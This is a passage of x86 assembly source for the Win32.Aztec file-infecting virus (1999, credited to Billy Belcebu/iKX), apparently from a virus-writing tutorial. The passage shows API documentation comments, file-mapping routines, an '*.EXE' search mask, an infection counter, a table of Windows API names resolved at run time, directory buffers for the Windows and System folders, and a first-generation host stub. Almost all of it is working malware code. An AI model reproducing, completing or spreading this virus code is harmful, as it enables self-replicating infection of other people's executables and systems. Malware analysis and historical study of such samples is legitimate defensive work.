 ;      + files (we are interested only in this one)                       ;
 ;      + pipes                                                            ;
 ;      + mailslots                                                        ;
 ;      + communications resources                                         ;
 ;      + disk devices (Windows NT only)                                   ;
 ;      + consoles                                                         ;
 ;      + directories (open only)                                          ;
 ;                                                                         ;
 ; HANDLE CreateFile(                                                      ;
 ;   LPCTSTR lpFileName, // pointer to name of the file                    ;
 ;   DWORD dwDesiredAccess,      // access (read-write) mode               ;
 ;   DWORD dwShareMode,  // share mode                                     ;
 ;   LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to sec. attrib. ;
 ;   DWORD dwCreationDistribution,       // how to create                  ;
 ;   DWORD dwFlagsAndAttributes, // file attributes                        ;
 ;   HANDLE hTemplateFile        // handle to file with attributes to copy  ;
 ;  );                                                                     ;
 ;                                                                         ;
 ; Parameters                                                              ;
 ;                                                                  ;
 ;                                                                         ;
 ;  lpFileName: Points to a null-terminated string that specifies the name ;
 ;   of the object (file, pipe, mailslot, communications resource, disk    ;
 ;   device, console, or directory) to create or open.                     ;
 ;   If *lpFileName is a path, there is a default string size limit of     ;
 ;   MAX_PATH characters. This limit is related to how the CreateFile      ;
 ;   function parses paths.                                                ;
 ;                                                                         ;
 ;  dwDesiredAccess: Specifies the type of access to the object. An        ;
 ;   application can obtain read access, write access, read-write access,or ;
 ;   device query access.                                                  ;
```

```
 ;                                                                      ;
 ;  dwShareMode: Set of bit flags that specifies how the object can be  ;
 ;   shared. If dwShareMode is 0, the object cannot be shared. Subsequent ;
 ;   open operations on the object will fail, until the handle is closed. ;
 ;                                                                      ;
 ;  lpSecurityAttributes: Pointer to a SECURITY_ATTRIBUTES structure that ;
 ;   determines whether the returned handle can be inherited by child   ;
 ;   processes. If lpSecurityAttributes is NULL, the handle cannot be   ;
 ;   inherited.                                                         ;
 ;                                                                      ;
 ;  dwCreationDistribution: Specifies which action to take on files that ;
 ;   exist, and which action to take when files do not exist.           ;
 ;                                                                      ;
 ;  dwFlagsAndAttributes: Specifies the file attributes and flags for the ;
 ;   file.                                                              ;
 ;                                                                      ;
 ;  hTemplateFile:Specifies a handle with GENERIC_READ access to a template;
 ;   file.The template file supplies file attributes and extended attributes;
 ;   for the file being created. Windows 95: This value must be NULL. If ;
 ;   you supply a handle under Windows 95, the call fails and GetLastError ;
 ;   returns ERROR_NOT_SUPPORTED.                                       ;
 ;                                                                      ;
 ; Return Values                                                        ;
 ;                                                    ;
 ;                                                                      ;
 ;  If the function succeeds, the return value is an open handle to the ;
 ;   specified file. If the specified file exists before the function call ;
 ;   and dwCreationDistribution is CREATE_ALWAYS or OPEN_ALWAYS, a call to ;
 ;   GetLastError returns ERROR_ALREADY_EXISTS (even though the function has;
 ;   succeeded). If the file does not exist before the call, GetLastError ;
 ;   returns zero.                                                      ;
 ;  If the function fails, the return value is INVALID_HANDLE_VALUE.To get ;
 ;   extended error information, call GetLastError.                     ;
 ;------------------------------------;

 ; input:
 ;      ECX - Size to map
 ; output:
 ;      EAX - MapHandle if succesful

CreateMap       proc
        xor     eax,eax
        push    eax
        push    ecx
        push    eax
        push    00000004h
        push    eax
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_CreateFileMappingA]
        ret
CreateMap       endp


 ; input:
 ;      ECX - Size to map
 ; output:
 ;      EAX - MapAddress if succesful

MapFile         proc
        xor     eax,eax
        push    ecx
        push    eax
        push    eax
        push    00000002h
        push    dword ptr [ebp+MapHandle]
        call    [ebp+_MapViewOfFile]
        ret
MapFile         endp

mark_   db      "[Win32.Aztec v1.01]",0
        db      "(c) 1999 Billy Belcebu/iKX",0
```

```
EXE_MASK        db      "*.EXE",0

infections      dd      00000000h
kernel          dd      kernel_

@@Namez                 label   byte

@FindFirstFileA         db      "FindFirstFileA",0
@FindNextFileA          db      "FindNextFileA",0
@FindClose              db      "FindClose",0
@CreateFileA            db      "CreateFileA",0
@SetFilePointer         db      "SetFilePointer",0
@SetFileAttributesA     db      "SetFileAttributesA",0
@CloseHandle            db      "CloseHandle",0
@GetCurrentDirectoryA   db      "GetCurrentDirectoryA",0
@SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0
@GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0
@GetSystemDirectoryA    db      "GetSystemDirectoryA",0
@CreateFileMappingA     db      "CreateFileMappingA",0
@MapViewOfFile          db      "MapViewOfFile",0
@UnmapViewOfFile        db      "UnmapViewOfFile",0
@SetEndOfFile           db      "SetEndOfFile",0
                        db      0BBh

                        align   dword
virus_end               label   byte

heap_start              label   byte

                        dd      00000000h

NewSize                 dd      00000000h
SearchHandle            dd      00000000h
FileHandle              dd      00000000h
MapHandle               dd      00000000h
MapAddress              dd      00000000h
AddressTableVA          dd      00000000h
NameTableVA             dd      00000000h
OrdinalTableVA          dd      00000000h

@@Offsetz               label   byte
_FindFirstFileA         dd      00000000h
_FindNextFileA          dd      00000000h
_FindClose              dd      00000000h
_CreateFileA            dd      00000000h
_SetFilePointer         dd      00000000h
_SetFileAttributesA     dd      00000000h
_CloseHandle            dd      00000000h
_GetCurrentDirectoryA   dd      00000000h
_SetCurrentDirectoryA   dd      00000000h
_GetWindowsDirectoryA   dd      00000000h
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile          dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile           dd      00000000h

MAX_PATH                equ     260

FILETIME                STRUC
FT_dwLowDateTime        dd      ?
FT_dwHighDateTime       dd      ?
FILETIME                ENDS

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
```

```
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

directories             label   byte

WindowsDir              db      7Fh dup (00h)
SystemDir               db      7Fh dup (00h)
OriginDir               db      7Fh dup (00h)
dirs2inf                equ     (($-directories)/7Fh)
mirrormirror            db      dirs2inf

heap_end                label   byte

 ;-------------------------------------;
 ; All the above is data used by the virus ;)                              ;
 ;-------------------------------------;

; First generation host

fakehost:
        pop     dword ptr fs:[0]                ; Clear some shit from stack
        add     esp,4
        popad
        popfd

        xor     eax,eax                         ; Show the MessageBox with
        push    eax                             ; a silly 1st gen message
        push    offset szTitle
        push    offset szMessage
        push    eax
        call    MessageBoxA

        push    00h                             ; Terminate the 1st gen
        call    ExitProcess

end     aztec
;[ CUT HERE ]
```